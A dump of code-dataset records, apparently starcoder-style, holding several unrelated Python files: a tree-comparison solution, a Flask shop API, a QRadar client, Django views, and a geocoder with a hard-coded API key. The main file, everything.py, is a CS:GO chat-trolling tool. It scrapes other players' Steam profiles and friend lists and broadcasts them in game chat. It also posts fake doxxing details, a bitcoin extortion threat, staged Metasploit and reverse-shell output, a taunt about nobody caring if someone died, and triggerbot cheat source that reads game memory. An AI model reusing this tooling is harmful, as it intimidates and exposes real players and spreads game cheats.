q\n # @return {boolean}\n def isSameTree(self, p, q):\n\n # both None, same\n if p is None and q is None:\n return True\n # either one is None, different\n if p is None or q is None:\n return False\n\n return (p.val==q.val) \\\n and self.isSameTree(p.left, q.left) \\\n and self.isSameTree(p.right, q.right)","sub_path":"tobebest/leetcode/python/tree/same_tree.py","file_name":"same_tree.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"183611855","text":"from flask_restful import Resource\nfrom flask import request\nfrom shop_models import Product, Category\nfrom schemas import ShopProductSchemaRead, ShopProductSchemaWrite\nfrom marshmallow.exceptions import ValidationError\nimport json\n\n\nclass ShopResource(Resource):\n\n def get(self, category=None, product=None, id=None):\n if category:\n categories = Category.objects(parent=category)\n return json.loads(categories.to_json())\n\n if product:\n product = Product.objects(title__contains=product)\n for p in product:\n p.modify(inc__view=1)\n return json.loads(product.to_json())\n if id:\n product = Product.objects(id=id)\n product.modify(inc__view=1)\n return json.loads(product.to_json())\n else:\n count_products = Product.objects.count()\n total_price = Product.objects.sum('price')\n shop = json.dumps({\"products\": count_products, \"total_price\": total_price})\n return json.loads(shop)\n\n def post(self):\n try:\n ShopProductSchemaWrite().load(request.json)\n except ValidationError as e:\n return {'text': str(e)}\n product = Product(**request.json).save()\n product.reload()\n return ShopProductSchemaRead().dump(product)\n\n def put(self, id):\n product = Product.objects(id=id)\n product.update(**request.json)\n product.reload()\n return json.loads(product.to_json())\n\n def delete(self, id):\n product = Product.objects(id=id)\n product.delete()\n text = f'Товар удален'\n return text\n","sub_path":"lesson_10/shop_rest/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"420128989","text":"import ctypes, pyautogui\nfrom ctypes import wintypes\nimport time, pyperclip, random\nfrom random import shuffle\nimport webbrowser, sys, pyperclip, requests, bs4, re, getopt\n\nname = 'User'\nchatKey = ''\n\nuser32 = ctypes.WinDLL('user32', use_last_error=True)\n\nINPUT_MOUSE = 0\nINPUT_KEYBOARD = 1\nINPUT_HARDWARE = 2\n\nKEYEVENTF_EXTENDEDKEY = 0x0001\nKEYEVENTF_KEYUP = 0x0002\nKEYEVENTF_UNICODE = 0x0004\nKEYEVENTF_SCANCODE = 0x0008\n\nMAPVK_VK_TO_VSC = 0\n\n# msdn.microsoft.com/en-us/library/dd375731\nVK_TAB = 0x09\nVK_MENU = 0x12\n\n# C struct definitions\n\nwintypes.ULONG_PTR = wintypes.WPARAM\n\nclass MOUSEINPUT(ctypes.Structure):\n _fields_ = ((\"dx\", wintypes.LONG),\n (\"dy\", wintypes.LONG),\n (\"mouseData\", wintypes.DWORD),\n (\"dwFlags\", wintypes.DWORD),\n (\"time\", wintypes.DWORD),\n (\"dwExtraInfo\", wintypes.ULONG_PTR))\n\nclass KEYBDINPUT(ctypes.Structure):\n _fields_ = ((\"wVk\", wintypes.WORD),\n (\"wScan\", wintypes.WORD),\n (\"dwFlags\", wintypes.DWORD),\n (\"time\", wintypes.DWORD),\n (\"dwExtraInfo\", wintypes.ULONG_PTR))\n\n def __init__(self, *args, **kwds):\n super(KEYBDINPUT, self).__init__(*args, **kwds)\n # some programs use the scan code even if KEYEVENTF_SCANCODE\n # isn't set in dwFflags, so attempt to map the correct code.\n if not self.dwFlags & KEYEVENTF_UNICODE:\n self.wScan = user32.MapVirtualKeyExW(self.wVk,\n MAPVK_VK_TO_VSC, 0)\n\nclass HARDWAREINPUT(ctypes.Structure):\n _fields_ = ((\"uMsg\", wintypes.DWORD),\n (\"wParamL\", wintypes.WORD),\n (\"wParamH\", wintypes.WORD))\n\nclass INPUT(ctypes.Structure):\n class _INPUT(ctypes.Union):\n _fields_ = ((\"ki\", KEYBDINPUT),\n (\"mi\", MOUSEINPUT),\n (\"hi\", HARDWAREINPUT))\n _anonymous_ = (\"_input\",)\n _fields_ = ((\"type\", wintypes.DWORD),\n (\"_input\", _INPUT))\n\nLPINPUT = ctypes.POINTER(INPUT)\n\ndef _check_count(result, func, args):\n if result == 0:\n raise ctypes.WinError(ctypes.get_last_error())\n return args\n\nuser32.SendInput.errcheck = _check_count\nuser32.SendInput.argtypes = (wintypes.UINT, # nInputs\n LPINPUT, # pInputs\n ctypes.c_int) # cbSize\n\n# Functions\n\ndef PressKey(hexKeyCode):\n x = INPUT(type=INPUT_KEYBOARD,\n ki=KEYBDINPUT(wVk=hexKeyCode))\n user32.SendInput(1, ctypes.byref(x), ctypes.sizeof(x))\n\ndef ReleaseKey(hexKeyCode):\n x = INPUT(type=INPUT_KEYBOARD,\n ki=KEYBDINPUT(wVk=hexKeyCode,\n dwFlags=KEYEVENTF_KEYUP))\n user32.SendInput(1, ctypes.byref(x), ctypes.sizeof(x))\n\nwhichKey = pyautogui.prompt('all chat, other, or team chat?')\nif whichKey == 'all':\n chatKey = 0x59\nelif whichKey == 'other':\n chatKey = 0x0D\nelse:\n chatKey = 0x55\n\n\ndef c(writing):\n\n PressKey(chatKey)\n ReleaseKey(chatKey)\n time.sleep(0.3) # 0.3\n pyautogui.typewrite(writing, 0) # interval = 0\n PressKey(0x0D)\n ReleaseKey(0x0D)\n time.sleep(0.4) # 0.4\n\n\n\n\n\ndef lobbied():\n urlArray = []\n\n def copy(two):\n PressKey(0x09)\n time.sleep(0.3)\n pyautogui.click(629, two, button='right')\n pyautogui.click(629, two)\n pyautogui.click(710, two + 38) # click steam profile\n time.sleep(2.5)\n ReleaseKey(0x09)\n pyautogui.click(637, 231, button='right') # right click\n pyautogui.click(741, 356) # copy url\n time.sleep(0.5)\n urlArray.append(pyperclip.paste())\n pyautogui.click(1907, 16) # exit page\n pyautogui.press('esc') # escape\n time.sleep(0.5)\n\n #pyautogui.click(960, 540, button='right')\n\n def top():\n copy(367)\n copy(407)\n copy(440)\n copy(470)\n copy(500)\n\n def bottom():\n copy(619)\n copy(657)\n copy(695)\n copy(725)\n copy(755)\n\n if pyautogui.prompt('t or ct ?') == 't':\n bottom()\n else:\n top()\n\n\n\n\n try:\n\n default = 0.1\n steamURL = pyperclip.paste()\n\n nameArray = []\n\n for x in range(len(urlArray)):\n res = requests.get(urlArray[x])\n res.raise_for_status()\n userProfile = bs4.BeautifulSoup(res.text, \"html.parser\")\n user = userProfile.select('.actual_persona_name')\n name = user[0].getText().strip()\n nameArray.append(name)\n\n for z in range(len(urlArray)):\n res = requests.get(urlArray[z])\n res.raise_for_status()\n userProfile = bs4.BeautifulSoup(res.text, \"html.parser\")\n friends = ''\n\n resFriends = requests.get(urlArray[z] + '/friends')\n userFriends = bs4.BeautifulSoup(resFriends.text, \"html.parser\")\n usersName = userFriends.select('.whiteLink')\n elemsFriends = userFriends.select('.friendBlockContent')\n\n user = userProfile.select('.actual_persona_name')\n name = user[0].getText().strip()\n\n hours = userProfile.select('.game_info_details')\n\n\n\n\n try:\n for j in range(len(elemsFriends)):\n for k in range(len(nameArray)):\n if ((re.sub(\"\\n.*\", \"\", elemsFriends[j].getText().strip())) == nameArray[k]):\n friends += (re.sub(\"\\n.*\", \"\", elemsFriends[j].getText().strip()))\n friends += '; '\n\n except:\n print(name + ' private')\n\n try:\n c(name + ' friends in game: ' + friends)\n except:\n print('cant print table')\n\n print()\n\n\n except:\n print ('error')\n\n\ndef profileSkim():\n try:\n while True:\n steamURL = pyperclip.paste()\n amount = pyautogui.prompt('ten or all friends')\n\n\n res = requests.get(steamURL)\n res.raise_for_status()\n userProfile = bs4.BeautifulSoup(res.text, \"html.parser\")\n user = userProfile.select('.actual_persona_name')\n\n resFriends = requests.get(steamURL + '/friends')\n userFriends = bs4.BeautifulSoup(resFriends.text, \"html.parser\")\n elemsFriends = userFriends.select('.friendBlockContent')\n\n name = user[0].getText().strip()\n\n def ten():\n for l in range(10):\n c(re.sub(\"\\n.*\", \"\", elemsFriends[l].getText().strip()))\n\n\n def all():\n for j in range(len(elemsFriends)):\n c(re.sub(\"\\n.*\", \"\", elemsFriends[j].getText().strip()))\n\n c('Steam Name: ' + name)\n c('users friends: ')\n if (amount == 'ten'):\n ten()\n else:\n all()\n\n c('TOR torch search engine results for steam user: ' + name)\n c('December 2016 steam database leak. Search results for username: ' + name)\n c('Results = one. please subscribe to our services for the raw data.')\n c('href=\\'trz899adafzf900af0.onion\\'')\n break\n\n except:\n print('error')\n\ndef fakeInfo():\n firstArray = ['Jessica', 'Sheniqua', 'Jacinta', 'Gerald', 'Martin']\n surArray = ['Saprinkal', 'Shkrelli', 'Wallace', 'Mehabhiek', 'Cabello']\n emailArray = ['skuxKidd@transgoths.com', 'skaterG@hi5.com', 'lvl80Wizard@silkroad.com', 'imNotTwelve@raroprimary.school.au', 'tooKewl4u@ministry.gov.au']\n fatherArray = ['Melania', 'none', 'Emerald', 'Sapphire', 'Ahled']\n brotherArray = ['Ivanka', 'Tiffany', 'Harold', 'Britney', 'Sashita']\n sisterArray = ['none', 'Matt', 'Zoey', 'John', 'Marilyn']\n schoolArray = ['St Francines Girls Boarding School', 'st Hoseas Girls public', 'Inuman Elementary School', 'Governor Dummer Academy', 'West Fukasumi Titnipple High']\n ipArray = ['223.240.28.128', '250.252.192.199', '216.32.105.204', '162.85.167.53', '151.54.55.126']\n\n\n\n c('First Name: ' + firstArray[random.randrange(5)] + ', Surname: ' + surArray[random.randrange(5)])\n c('Age: 12, IQ: 2 x Age')\n c('Email address: ' + emailArray[random.randrange(5)])\n c('Mother: none')\n c('Father: ' + fatherArray[random.randrange(5)])\n c('Sisters: ' + sisterArray[random.randrange(5)])\n c('Brothers: ' + brotherArray[random.randrange(5)])\n c('Residency: 13th floor of anything')\n c('School: ' + schoolArray[random.randrange(5)])\n c('IP addr: ' + ipArray[random.randrange(5)])\n c('please pay 5 btc to wwww.go.kl/asdo12 otherwise ')\n c('I will have anonymous ddos you while I wear a hoodie')\n c('I will download programs off the darkweb')\n c('using TOR to steal your worm god skin(f.society)')\n c('I will not forget, I will not forbid(CS30)')\n c('I am Norwegian, inject mysql(Mr.Robot Abort)')\n\ndef explain():\n c('I don\\'t do anything like copy and paste,')\n c('it\\'s simply an automation script')\n c('using pythons beautiful soup module')\n c('it webscrapes the html data off the steam url')\n c('based on what element I pass')\n c('for getting your friends names it is')\n c('friends = requests.get(steamURL + \\'/friends\\')')\n c('userFriends = bs4.BeautifulSoup(friends.text, \"html.parser\")')\n c('elemsFriends = userFriends.select(\\'.friendBlockContent\\')')\n c('then for only printing the first ten:')\n c('for x in range(10):')\n c(' looptext(elemsFriends[x].getText().strip())')\n c('I also write a regex to take away the extra info')\n c('in the element of the friend like what game they\\'re in')\n c('or last online at blah blah etc')\n c('that only explains a few lines of the script ')\n c('however I could walk you through the whole thing')\n c('if you really want to claim I didn\\'t code it ')\n c('check out my github to see my code with proof I wrote it')\n c('https://github.com/ClownPrinceCS30/python-automation-and-Java-cipher-program')\n\ndef fakeHacks():\n url = ('http://www.' + pyautogui.prompt('http://www.website'))\n res = requests.get(url)\n res.raise_for_status()\n page = bs4.BeautifulSoup(res.text, \"html.parser\")\n print(page)\n pageInfo = page\n text = ''\n i = 0\n\n charArray = list(str(page))\n\n for d in charArray:\n text += (d)\n if(d == ' '):\n i += 1\n if(i > 7):\n print (text)\n c(text)\n text = ''\n i = 0\n c(text)\n\n\n\ndef fakeIPs():\n urlArray = []\n\n def copy(two):\n PressKey(0x09)\n time.sleep(0.3)\n pyautogui.click(629, two, button='right')\n pyautogui.click(629, two)\n pyautogui.click(710, two + 38) # click steam profile\n\n time.sleep(2.5)\n ReleaseKey(0x09)\n pyautogui.click(637, 231, button='right') # right click\n pyautogui.click(741, 356) # copy url\n time.sleep(0.5)\n urlArray.append(pyperclip.paste())\n pyautogui.click(1907, 16) # exit page\n pyautogui.press('esc') # escape\n time.sleep(0.5)\n\n pyautogui.click(960, 540, button='right')\n\n def top():\n copy(367)\n copy(407)\n copy(440)\n copy(470)\n copy(500)\n\n def bottom():\n copy(619)\n copy(657)\n copy(695)\n copy(725)\n copy(755)\n\n if pyautogui.prompt('t or ct?') == 't':\n bottom()\n else:\n top()\n\n\n\n\n try:\n\n default = 0.1\n steamURL = pyperclip.paste()\n ipArray = ['253.126.205.151', '162.79.118.210', '83.249.150.53', '219.219.90.85', '248.88.176.70']\n nameArray = []\n\n for x in range(len(urlArray)):\n res = requests.get(urlArray[x])\n res.raise_for_status()\n userProfile = bs4.BeautifulSoup(res.text, \"html.parser\")\n user = userProfile.select('.actual_persona_name')\n name = user[0].getText().strip()\n nameArray.append(name)\n\n for z in range(len(urlArray)):\n res = requests.get(urlArray[z])\n res.raise_for_status()\n userProfile = bs4.BeautifulSoup(res.text, \"html.parser\")\n friends = ''\n\n resFriends = requests.get(urlArray[z] + '/friends')\n userFriends = bs4.BeautifulSoup(resFriends.text, \"html.parser\")\n usersName = userFriends.select('.whiteLink')\n elemsFriends = userFriends.select('.friendBlockContent')\n\n user = userProfile.select('.actual_persona_name')\n name = user[0].getText().strip()\n\n\n\n for j in range(len(nameArray)):\n c(nameArray[j].center(30) + ipArray[j].center(30))\n\n\n\n\n\n except:\n print ('error')\n\ndef metasploit():\n c('NIC.macchanger -r')\n c('NIC.monitormode')\n c('service mysql start')\n c('msfconsole')\n c('setg RPORT = 5543')\n c('setg RHOST = 152.213.14.154')\n c('use Unix/authenticateUser/auxillary/scanner')\n c('set Threads = 5')\n c('run')\n c('.')\n c('.')\n c('results = ack packets sent to port 8080')\n c('use Unix/TCPserver/handler')\n c('set Threads = 5')\n c('run -vv')\n c('initialising reverse TCP handler')\n c('listening on port 8080 for TCP client')\n c('msfvenom unix/shell_bind_tcp EXITFUNC=seh LPORT=5543')\n c('sending payload through TCP')\n c('.')\n c('.')\n c('.')\n c('connection on port 5543 established')\n c('setting up reverse shell')\n c('killing reverse TCP handler on port 8080; no results')\n c('reverse shell initialised use -h for commands')\n c('-->')\n c('cd ..')\n c('->')\n c('ls')\n c('. .. backup logs routing serverSource anti-cheat lastLog.txt')\n c('cd routing')\n c('ls')\n c('. .. routingTableLog.txt dhcp.info dns.info')\n c('cat routingTableLog.txt')\n c('salt.salt.salt.salt.salt.salt.salt')\n\ndef github():\n c('https://github.com/ClownPrinceCS30/python-automation-and-Java-cipher-program')\n\ndef tcp():\n url = pyperclip.paste()\n res = requests.get(url)\n res.raise_for_status()\n userProfile = bs4.BeautifulSoup(res.text, \"html.parser\")\n user = userProfile.select('.actual_persona_name')\n name = user[0].getText().strip()\n ipArray = ['252.199.3.79', '219.35.58.144', '126.137.6.118', '185.15.157.25', '180.249.184.44', '235.87.171.91', '217.111.7.191', '237.45.100.205', '227.110.186.127', '234.151.1.17']\n ip = ipArray[random.randrange(10)]\n\n c(name.center(30) + ip)\n c('import socket')\n c('import threading')\n c('bind_ip = ' + '\"' + ip + '\"')\n c('bind_port = 5543')\n c('server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)')\n c('server.bind((bind_ip, bind_port))')\n c('server.listen(5)')\n c('Listening on (' + ip + ', 5543)')\n c('def handle_client(client_socket):')\n c('request = client_socket.recv(1024)')\n c('client_socket.send(ARP_MITM)')\n c('client_socket.close()')\n c('client, addr = server.accept()')\n c('Accepted connection')\n c('client_handler = threading.Thread(target=handle_client, args=(client,))')\n c('client_handler.start()')\n\ndef mrRobot():\n c('If you died, would anyone care?')\n c('Would they really care?')\n c('Maybe, they\\'d cry for a day.')\n c('But, let\\'s be honest, no one would give a shit. They wouldn\\'t.')\n c('The few people that would feel obligated to go to your funeral would')\n c('probably be annoyed and leave as early as possible.')\n c('That\\'s who you are.')\n c('That\\'s what you are')\n c('You\\'re nothing to anyone. To everyone.')\n\ndef shortCheat():\n c('void Trigger()')\n c('{')\n c('DWORD EnemyInCH = Mem.Read(ClientDLL + EntityBase + ((CrossHairID - 1) * EntLoopDist));')\n c('int EnemyHealth = Mem.Read(EnemyInCH + healthOffset);')\n c('int EnemyTeam = Mem.Read(EnemyInCH + teamOffset);')\n c('if (LocalTeam != EnemyTeam && EnemyHealth > 0)')\n c('{')\n c('mouse_event(MOUSEEVENTF_LEFTDOWN, NULL, NULL, NULL, NULL);')\n c('mouse_event(MOUSEEVENTF_LEFTUP, NULL, NULL, NULL, NULL);')\n c('}')\n\ndef longCheat():\n c('#include \"ProcMem.h\"')\n c('ProcMem Mem;')\n c('Mem.Process(\"csgo.exe\");')\n c('DWORD ClientDLL = Mem.Module(\"client.dll\");')\n c('const DWORD playerBase = 0xA68A14;')\n c('const DWORD entityBase = 0x4A0B0C4;')\n c('const DWORD crosshairOffset = 0x23F8;')\n c('const DWORD teamOffset = 0xF0;')\n c('const DWORD healthOffset = 0xFC;')\n c('const DWORD EntLoopDist = 0x10;')\n c('DWORD LocalPlayer = Mem.Read(ClientDLL + PlayerBase);')\n c('int LocalTeam = Mem.Read(LocalPlayer + teamOffset);')\n c('int CrossHairID = Mem.Read(LocalPlayer + CrosshairOffset);')\n c('void Trigger()')\n c('{')\n c('DWORD EnemyInCH = Mem.Read(ClientDLL + EntityBase + ((CrossHairID - 1) * EntLoopDist));')\n c('int EnemyHealth = Mem.Read(EnemyInCH + healthOffset); // Enemy in crosshair\\'s')\n c('int EnemyTeam = Mem.Read(EnemyInCH + teamOffset);')\n c('if (LocalTeam != EnemyTeam && EnemyHealth > 0)')\n c('mouse_event(MOUSEEVENTF_LEFTDOWN, NULL, NULL, NULL, NULL);')\n c('mouse_event(MOUSEEVENTF_LEFTUP, NULL, NULL, NULL, NULL);')\n c('}')\n c('int main()')\n c('{')\n c(' while(true)')\n c(' {')\n c(' Trigger();')\n c(' Sleep(0.1)')\n c(' }')\n c('}')\n\ndef wiki():\n i = 0\n text = ''\n keyWord = pyautogui.prompt('enter keyword')\n extra = ''\n\n url = ('https://en.wikipedia.org/wiki/' + keyWord)\n res = requests.get(url)\n res.raise_for_status()\n wikiPage = bs4.BeautifulSoup(res.text, \"html.parser\")\n wiki = wikiPage.select('p')\n para = wiki[0].getText()\n charArray = list(para)\n print (para)\n\n g = 0\n\n for d in charArray:\n text += d\n if d == ' ':\n i += 1\n\n if (i == 7):\n print(text)\n c(text)\n i = 0\n text = ''\n\n #if (text.lower() == keyWord.lower() + ' may refer to:'):\n if bool(re.search('may refer to',text.lower())):\n try:\n for item in wikiPage.find_all('li'):\n for link in item.find_all('a'):\n extra += (link.get('href')) + '\\n'\n g += 1\n if (g >= 30):\n break # didn't work\n\n i = 0\n text = ''\n keyWord = pyautogui.prompt(extra + 'enter keyword')\n extra = ''\n\n url = ('https://en.wikipedia.org/wiki/' + keyWord)\n res = requests.get(url)\n res.raise_for_status()\n wikiPage = bs4.BeautifulSoup(res.text, \"html.parser\")\n wiki = wikiPage.select('p')\n para = wiki[0].getText()\n charArray = list(para)\n print(para)\n\n g = 0\n\n for d in charArray:\n text += d\n if d == ' ':\n i += 1\n\n if (i == 7):\n print(text)\n c(text)\n i = 0\n text = ''\n except er:\n pyautogui.alert(er)\n\n else:\n c(text)\n\ndef fastWiki():\n c('Welcome to the wikipedia chat bot')\n while True:\n c('Request your search:')\n wiki()\n\ndef quotes():\n url = 'https://www.brainyquote.com/search_results.html?q=' + pyautogui.prompt('enter keyword')\n res = requests.get(url)\n res.raise_for_status()\n quotePage = bs4.BeautifulSoup(res.text, \"html.parser\")\n quote = quotePage.select('.bqQuoteLink')\n\n\n i = 0\n text = ''\n allQuotes = ''\n\n for x in range(len(quote)):\n allQuotes += str(x) + ': ' + quote[x].getText().strip() + '\\n\\n'\n if(x >= 10):\n break\n\n chosen = pyautogui.prompt('choose quote: \\n\\n' + allQuotes)\n num = int(chosen)\n charArray = list(quote[num].getText().strip())\n\n for d in charArray:\n text += d\n if d == ' ':\n i += 1\n if(i == 6):\n c(text)\n i = 0\n text = ''\n c(text)\n\ndef riddles():\n url = 'https://www.quora.com/What-are-the-best-riddles-by-the-Riddler-Batman'\n res = requests.get(url)\n res.raise_for_status()\n riddlePage = bs4.BeautifulSoup(res.text, \"html.parser\")\n riddles = riddlePage.select('.qtext_para')\n text = ''\n second = ''\n divider = range(len(riddles))\n\n for x in range(len(riddles)):\n if(x < 16):\n text += str(x) + ': ' + riddles[x].getText().strip() + '\\n\\n'\n second = 'testing'\n\n\n\n\n num = int(pyautogui.prompt(text))\n\n if(num < 16):\n c(riddles[num].getText().strip())\n text = ''\n elif (num == 16):\n text = ''\n for x in range(len(riddles)):\n if ((x > 15) & (x < 31)):\n text += str(x) + ': ' + riddles[x].getText().strip() + '\\n\\n'\n num = int(pyautogui.prompt(text))\n if (num < 31):\n c(riddles[num].getText().strip())\n text = ''\n elif(num == 31):\n text = ''\n for x in range(len(riddles)):\n if ((x > 31) & (x < 46)):\n text += str(x) + ': ' + riddles[x].getText().strip() + '\\n\\n'\n num = int(pyautogui.prompt(text))\n text = ''\n if (num < 46):\n c(riddlePage[num].getText().strip())\n elif(num == 46):\n text = ''\n for x in range(len(riddles)):\n if ((x > 45) & (x < 61)):\n text += str(x) + ': ' + riddles[x].getText().strip() + '\\n\\n'\n num = int(pyautogui.prompt(text))\n text('')\n if (num < 61):\n c(riddlePage[num].getText().strip())\n\n\ndef vpnInfo():\n c('When you use a virtual private network (VPN), ')\n c('the DNS request should be directed to an anonymous DNS server ')\n c('through your VPN, and not directly from your browser')\n c('this keeps your ISP from monitoring your connection.')\n c('Unfortunately, sometimes your browser will just ignore')\n c('that you have a VPN set up and will send the ')\n c('DNS request straight to your ISP. ')\n c('That’s called a DNS leak. ')\n c('This can lead to you think that you’ve stayed anonymous')\n c('and that you’re safe from online surveillance,')\n c('but you won’t be protected.')\n c('www.dnsleaktest.com. , your play')\n\n\n\noptionText = '1: profileSkim\\n2: lobbyInfo\\n3: fakeInfo\\n4: explain webscraper\\n5: fakeHackerWebsites\\n6: fake ipAddr, '\noptionText += '\\n7: metasploit\\n8: github link\\n9: tcp\\n10: mrRobot\\n11: shortCheat\\n12: longCheat, '\noptionText += '\\n13: wiki search\\n14: fastWiki\\n15: quotes\\n16: riddles\\n17: vpnInfo'\n\noption = pyautogui.prompt(optionText)\n\nif (option == '1'):\n profileSkim()\nelif (option == '2'):\n lobbied()\nelif (option == '3'):\n fakeInfo()\nelif (option == '4'):\n explain()\nelif (option == '5'):\n fakeHacks()\nelif (option == '6'):\n fakeIPs()\nelif (option == '7'):\n metasploit()\nelif (option == '8'):\n github()\nelif (option == '9'):\n tcp()\nelif (option == '10'):\n mrRobot()\nelif (option == '11'):\n shortCheat()\nelif (option == '12'):\n longCheat()\nelif (option == '13'):\n wiki()\nelif (option == '14'):\n fastWiki()\nelif (option == '15'):\n quotes()\nelif (option == '16'):\n riddles()\nelif (option == '17'):\n vpnInfo()\nelse:\n print('nothing chosen')\n","sub_path":"Python/CSGO/everything.py","file_name":"everything.py","file_ext":"py","file_size_in_byte":23506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"266398540","text":"#!/usr/bin/python\n#\n# Command line tool for adding a new threat intel item\n#\n# Use\n# python qradar_client -h\n# to see usage\n#\n\nimport sys, getopt\nsys.path.append(\"../fn_qradar_integration/util\")\nfrom qradar_utils import QRadarClient as QRadarClient\nfrom ToolCommand import ToolCommand\n\nHELP_STRING = \\\n \"Usage:\\n\" \\\n \"\\tpython qradar_client.py\\n\" \\\n \"\\t-v [Show versions]\\n\"\n\narg_str = \"hv\"\narg_list =[\"help\", \"version\"]\n\nclass VersionCmd(ToolCommand):\n def do_command(self):\n qradar_client = QRadarClient(host=self.system_host,\n username=self.system_user,\n password=self.system_password,\n token=None,\n cafile=self.system_verify)\n\n resp = qradar_client.get_versions()\n\n print(resp.text)\n\nif __name__ == \"__main__\":\n ver_cmd = VersionCmd(HELP_STRING)\n ver_cmd.run_command(sys.argv[1:], arg_str, arg_list)\n\n\n\n","sub_path":"fn_qradar_integration/tools/qradar_client.py","file_name":"qradar_client.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"20150968","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.forms import UserCreationForm\nfrom .forms import *\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import login, authenticate\nfrom django.contrib.auth.models import User\nfrom django.core.mail import send_mail\nfrom django.template.loader import render_to_string\nfrom django.conf import settings\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom election.models import Election\nfrom .models import CanInfo, DummyCitizenInfo\nfrom django.conf import settings\n\n# Create your views here.\n@login_required\ndef dashboard(request):\n context = {\n \"aElectionList\" : Election.objects.filter(elec_status = 'active'),\n \"endElectionList\" : Election.objects.filter(elec_status = 'ended'),\n \"userInfo\" : DummyCitizenInfo.objects.get(email=request.user.email)\n }\n if context['userInfo'].elec_Worker == True:\n return redirect('election-worker')\n else:\n return render(request, 'home/dashboard.html', context)\n\n@login_required\ndef edit_info(request):\n context = {\n 'editInfoForm' : EditInfoForm(),\n \"userInfo\" : DummyCitizenInfo.objects.get(email=request.user.email)\n }\n if request.method == \"POST\":\n uemail=request.user.email\n var = DummyCitizenInfo.objects.get(email=uemail)\n edit_profile_form = EditInfoForm(request.POST, request.FILES, instance=var)\n if edit_profile_form.is_valid():\n if len(request.FILES) !=0:\n context['userInfo'].picture = request.FILES['profile_picture']\n context['userInfo'].save()\n if request.POST.get('name') and request.POST.get('father_name') and request.POST.get('mother_name') and request.POST.get('dob'):\n context['userInfo'].name = request.POST.get('name')\n context['userInfo'].father_name = request.POST.get('father_name')\n context['userInfo'].mother_name = request.POST.get('mother_name')\n context['userInfo'].dob = request.POST.get('dob')\n context['userInfo'].save()\n return redirect('dashboard')\n \n return render(request, 'home/editProfile.html', context)\n\ndef register(request):\n if request.method == 'POST':\n form = UserRegistraionForm(request.POST)\n if form.is_valid():\n user_nid = request.POST.get('nid')\n try:\n var_nid = DummyCitizenInfo.objects.get(nid = user_nid)\n \n if var_nid:\n form.save()\n new_user = authenticate(username=form.cleaned_data['username'],\n password=form.cleaned_data['password1'],\n )\n login(request, new_user)\n return redirect('dashboard')\n except ObjectDoesNotExist:\n \n return redirect('login')\n \n else:\n form = UserRegistraionForm()\n return render(request, 'home/register.html', {'form' : form})\n\n","sub_path":"user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"139344466","text":"'''\nCreated on Apr 2, 2019\n\n@author: sookyojeong\n'''\n\n'''\nCreated on Mar 29, 2019\n\n@author: sookyojeong\n'''\nimport numpy as np\nimport os\nimport pandas as pd \nimport requests\npd.set_option('display.max_columns',999) \n\ndef rowIndex(row):\n return row.name\n \ndef geocoder(row):\n r = requests.get('http://api.vworld.kr/req/address?service=address&request=getCoord&type=ROAD&key=66AE5204-E1F6-32A2-B3F3-FAC1E934C9CD&format=json&address='+row['address'])\n \n if (r.json()['response']['status'] == 'OK'):\n print(r.json())\n x = r.json()['response']['result']['point']['x']\n y = r.json()['response']['result']['point']['y']\n else:\n r = requests.get('http://api.vworld.kr/req/address?service=address&request=getCoord&type=PARCEL&key=66AE5204-E1F6-32A2-B3F3-FAC1E934C9CD&format=json&address='+row['address'])\n if (r.json()['response']['status'] == 'OK'):\n print(r.json())\n x = r.json()['response']['result']['point']['x']\n y = r.json()['response']['result']['point']['y']\n else:\n x= ''\n y= ''\n print(row['rowIndex'])\n row['x'] = x\n row['y'] = y\n return row\n \ndef main(raw_path,clean_path):\n # initiate data objects\n raw = {}\n clean = {}\n years = ['2018','2017','2016','2015','2014','2013']\n\n for y in years:\n for filename in os.listdir(os.path.join(raw_path,y)):\n \n if not 'DS_Store' in filename:\n # get filename\n name = os.path.splitext(filename)[0]\n print(name)\n \n if filename.endswith(\".xlsx\"):\n # read excel files\n raw[name] = pd.read_excel(os.path.join(raw_path,y,filename));\n elif filename.endswith(\".csv\"):\n if (y == '2014' or y=='2016'):\n raw[name] = pd.read_csv(os.path.join(raw_path,y,filename),encoding='cp949')\n else:# read csv files\n raw[name] = pd.read_csv(os.path.join(raw_path,y,filename))\n else:\n raise ValueError('error: not a data file')\n \n # rename variables\n print(raw[name].columns)\n raw[name] = raw[name].rename(columns = {\"지역\":\"region\"+y, \"측정소코드\":\"site_code\", \\\n \"측정소명\":\"site_name\"+y, \"측정일시\":\"time\", \"주소\": \"address\"+y})\n \n # keep only site info\n raw[name] = raw[name][['site_code','region'+y,'site_name'+y,'address'+y]]\n \n # drop duplicates\n raw[name] = raw[name].drop_duplicates()\n \n # stop if site code has duplicate\n if any(raw[name]['site_code'].duplicated()):\n raise ValueError('error: duplicate site_code exists')\n \n \n # merge all data in dictionary\n df = pd.DataFrame()\n df = df.append(raw['2013_1'])\n df=df.merge(raw['2014_1'], left_on ='site_code', right_on ='site_code')\n df=df.merge(raw['2015_1'], left_on ='site_code', right_on ='site_code')\n df=df.merge(raw['2016_1'], left_on ='site_code', right_on ='site_code')\n df=df.merge(raw['2017_1'], left_on ='site_code', right_on ='site_code')\n df=df.merge(raw['2018_1'], left_on ='site_code', right_on ='site_code')\n\n # fill in missing data\n df['region']=np.nan\n df['address']=np.nan\n df['site_name']=np.nan\n for y in years:\n df['region'] = df['region'].fillna(df['region'+y])\n df['address'] = df['address'].fillna(df['address'+y])\n df['site_name'] = df['site_name'].fillna(df['site_name'+y])\n\n df = df[['site_code','region','address','site_name']]\n df['rowIndex'] = df.apply(rowIndex, axis=1)\n df = df.apply(geocoder,axis=1)\n\n df.to_csv(clean_path, encoding='utf-8', 